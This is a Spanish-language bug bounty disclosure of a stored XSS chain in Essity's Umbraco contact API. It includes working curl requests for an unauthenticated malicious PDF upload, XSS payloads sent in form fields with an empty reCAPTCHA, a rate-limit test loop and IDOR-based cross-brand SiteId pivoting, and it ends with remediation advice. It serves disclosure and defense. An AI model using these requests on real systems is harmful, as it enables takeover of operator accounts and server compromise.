Resumen
La API de contacto de Essity, construida sobre Umbraco CMS y ASP.NET Core, exponía dos endpoints (ContactApi.SavePersonalContactExtended y SaveProductContactExtended) que aceptaban tickets de clientes sin autenticación y sin sanear la entrada. Un atacante podía enviar HTML y JavaScript arbitrarios en más de doce campos del formulario. Cuando un operador de atención al cliente abría después el ticket en el back-office de Umbraco, ese código se ejecutaba en su sesión autenticada: un XSS almacenado que abría la puerta a la toma de control de la cuenta del operador.
El problema no era una sola debilidad, sino una cadena de controles que fallaban a la vez. La verificación de reCAPTCHA v2 se hacía solo en el cliente: el servidor aceptaba el parámetro ReCaptcha= vacío. No había token CSRF ni comprobación de Origin/Referer, y la cabecera Access-Control-Allow-Origin: * permitía peticiones desde cualquier origen. Tampoco había límite de peticiones ni validación real de la entrada, incluido el correo electrónico. Además, el parámetro SiteId no se autorizaba, lo que permitía dirigir los tickets a marcas hermanas del grupo.
Los endpoints estaban accesibles en todas las rutas de idioma dentro del alcance (/at, /bg, /cz, /de, /ee, /gr, /hr, /hu, /lt, /lv, /ro, /rs, /ru, /ua) y en la raíz del sitio.
Pasos de reproducción
1. Subir un adjunto malicioso (sin autenticación)
El endpoint SaveAttachment aceptaba archivos sin autenticar y validaba el tipo solo por la extensión, comprobando los magic bytes únicamente para imágenes. Así se podía subir un PDF con una acción JavaScript (OpenAction):
curl -sk \
-H 'User-Agent: Mozilla/5.0' \
-e 'https://[REDACTADO]/de/kontakt/' \
-F 'file=@/tmp/jsx.pdf;type=application/pdf' \
'https://[REDACTADO]/Umbraco/Api/ContactApi/SaveAttachment'
La respuesta devolvía el identificador del archivo, ya referenciable desde un ticket:
["3ef49a63-e18f-40d2-94d6-5289c80f9efd_jsx.pdf"]
2. Crear el ticket con la carga XSS
curl -sk \
-e 'https://[REDACTADO]/de/kontakt/' \
-X POST 'https://[REDACTADO]/Umbraco/Api/ContactApi/SavePersonalContactExtended/' \
-H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \
--data-urlencode 'SiteId=1896' \
--data-urlencode 'CultureId=1031' \
--data-urlencode 'ContactReason=Query' \
--data-urlencode 'FirstName=<img src=x onerror="alert(document.domain)">' \
--data-urlencode 'LastName=<svg/onload=alert(document.domain)>' \
--data-urlencode 'Email=[REDACTADO]' \
--data-urlencode 'CompareEmail=[REDACTADO]' \
--data-urlencode 'Message=<script>alert("XSS in Message field")</script>' \
--data-urlencode 'Phone=<img src=x onerror=alert(1)>' \
--data-urlencode 'ReCaptcha=' \
--data-urlencode 'AttachmentFilename[0]=3ef49a63-e18f-40d2-94d6-5289c80f9efd_jsx.pdf'
El servidor respondía con éxito pese al ReCaptcha= vacío y a la ausencia de cookies:
{"success":true,"message":"","log":null,"redirect":false,"redirectUrl":null}
Los campos vulnerables confirmados (12 en total) eran: FirstName, LastName, Email, CompareEmail, Address, City, Country, Message, Phone, Question, ProductConcerned, CoreCode, Store, PageUrl, Referrer, SourceTags y UserAgent.
3. Disparar la ejecución
Cuando un operador de atención al cliente iniciaba sesión en el back-office de Umbraco y abría el ticket para revisarlo, el JavaScript inyectado en cualquiera de los campos se ejecutaba en su sesión autenticada. Como revisar los mensajes entrantes es la función principal del operador, la ejecución del payload estaba prácticamente garantizada.
4. Confirmar la ausencia de límite de peticiones
Ocho envíos consecutivos con ReCaptcha= vacío desde una misma IP, en menos de dos segundos, se completaron todos con éxito:
for i in {1..8}; do
curl -sk -X POST 'https://[REDACTADO]/Umbraco/Api/ContactApi/SavePersonalContactExtended/' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode "FirstName=ratepoc-$i" \
--data-urlencode 'Email=[REDACTADO]' \
--data-urlencode 'SiteId=1896' \
--data-urlencode 'CultureId=1031' \
--data-urlencode 'ContactReason=Query' \
--data-urlencode 'ReCaptcha='
done
Las 8 peticiones devolvieron {"success":true}.
Pivote entre marcas (cross-tenant)
El parámetro SiteId se aceptaba sin comprobar la autorización, y los identificadores de otras marcas podían enumerarse a través de un IDOR en CountryPickerSurface:
curl -sk 'https://[REDACTADO]/umbraco/Surface/CountryPickerSurface/CountryModal?siteId=1901'
Cambiando el SiteId, un atacante que solo interactuaba con un dominio podía inyectar el XSS en el back-office de atención al cliente de cualquier marca hermana del grupo.
Impacto
Al ejecutarse el XSS con los privilegios del operador (roles Editor, Writer, Translator o Administrator), un atacante podía:
- Robar credenciales de sesión: cookies y tokens anti-CSRF, exfiltrándolos hacia un servidor externo desde la propia sesión del operador.
- Crear cuentas de administrador invocando los endpoints de gestión de Umbraco en el contexto del operador.
- Lograr ejecución de código en el servidor (RCE) instalando paquetes de Umbraco con código de servidor, sobre el CMS que servía a más de una decena de marcas.
- Modificar contenido, datos de miembros o configuración del sitio.
La cabecera Access-Control-Allow-Origin: * sin requerir cookies permitía además ataques drive-by: un anuncio malicioso o una página comprometida podía enviar tickets desde el navegador de cada visitante, ocultando la IP del atacante y, sin límite de peticiones, inundando la cola de tickets en minutos.
La cadena de adjuntos añadía un vector de phishing hacia el personal interno: PDFs con OpenAction en JavaScript, documentos de Office con macros o archivos ZIP con ejecutables llegaban al flujo de trabajo del operador. Por último, los indicadores de consentimiento de marketing (ProvidedConsumerConsents) se aceptaban sin verificación, lo que el investigador señaló como un problema de cumplimiento del RGPD (artículos 7 y 32).
El investigador valoró la vulnerabilidad como crítica, con un CVSS 3.1 de 9.0 (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L).
Remediación
El programa marcó el reporte como resuelto. El reporte no detalla las correcciones concretas aplicadas por Essity, pero los controles que fallaban indican las líneas de refuerzo: validar el token de reCAPTCHA en el servidor, sanear y codificar toda la entrada antes de mostrarla en el back-office, exigir token CSRF y comprobación de origen, autorizar el parámetro SiteId, validar los adjuntos por su contenido y aplicar límite de peticiones.